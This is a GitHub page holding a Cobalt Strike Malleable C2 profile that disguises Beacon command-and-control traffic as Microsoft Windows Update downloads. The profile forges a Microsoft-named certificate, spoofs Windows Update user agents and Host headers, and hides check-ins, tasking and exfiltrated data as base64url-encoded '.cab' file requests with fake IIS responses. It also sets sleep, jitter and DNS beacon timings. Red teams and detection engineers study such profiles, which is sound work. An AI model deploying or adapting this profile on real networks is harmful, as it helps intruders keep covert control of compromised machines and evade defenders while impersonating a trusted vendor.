-
Notifications
You must be signed in to change notification settings - Fork 18
/
microsoftupdate_getonly.profile
111 lines (86 loc) · 2.41 KB
/
microsoftupdate_getonly.profile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#
# Microsoft Update
#
# Author: @bluscreenofjeff
#
#set https cert info
#information assumed based on other Microsoft certs
https-certificate {
set CN "www.windowsupdate.com"; #Common Name
set O "Microsoft Corporation"; #Organization Name
set C "US"; #Country
set L "Redmond"; #Locality
set OU "Microsoft IT"; #Organizational Unit Name
set ST "WA"; #State or Province
set validity "365"; #Number of days the cert is valid for
}
#default Beacon sleep duration and jitter
set sleeptime "60000";
set jitter "20";
#default useragent for HTTP comms
set useragent "Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40";
#IP address used to indicate no tasks are available to DNS Beacon
set dns_idle "8.8.4.4";
#Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_sleep "0";
#Maximum length of hostname when uploading data over DNS (0-255)
set maxdns "235";
http-get {
set uri "/c/msdownload/update/others/2016/12/29136388_";
client {
header "Accept" "*/*";
header "Host" "download.windowsupdate.com";
#session metadata
metadata {
base64url;
append ".cab";
uri-append;
}
}
server {
header "Content-Type" "application/vnd.ms-cab-compressed";
header "Server" "Microsoft-IIS/8.5";
header "MSRegion" "N. America";
header "Connection" "keep-alive";
header "X-Powered-By" "ASP.NET";
#Beacon's tasks
output {
print;
}
}
}
http-post {
set uri "/c/msdownload/update/others/2016/12/3215234_";
set verb "GET";
client {
header "Accept" "*/*";
#session ID
id {
prepend "download.windowsupdate.com/c/";
header "Host";
}
#Beacon's responses
output {
base64url;
append ".cab";
uri-append;
}
}
server {
header "Content-Type" "application/vnd.ms-cab-compressed";
header "Server" "Microsoft-IIS/8.5";
header "MSRegion" "N. America";
header "Connection" "keep-alive";
header "X-Powered-By" "ASP.NET";
#empty
output {
print;
}
}
}
#change the stager server
http-stager {
server {
header "Content-Type" "application/vnd.ms-cab-compressed";
}
}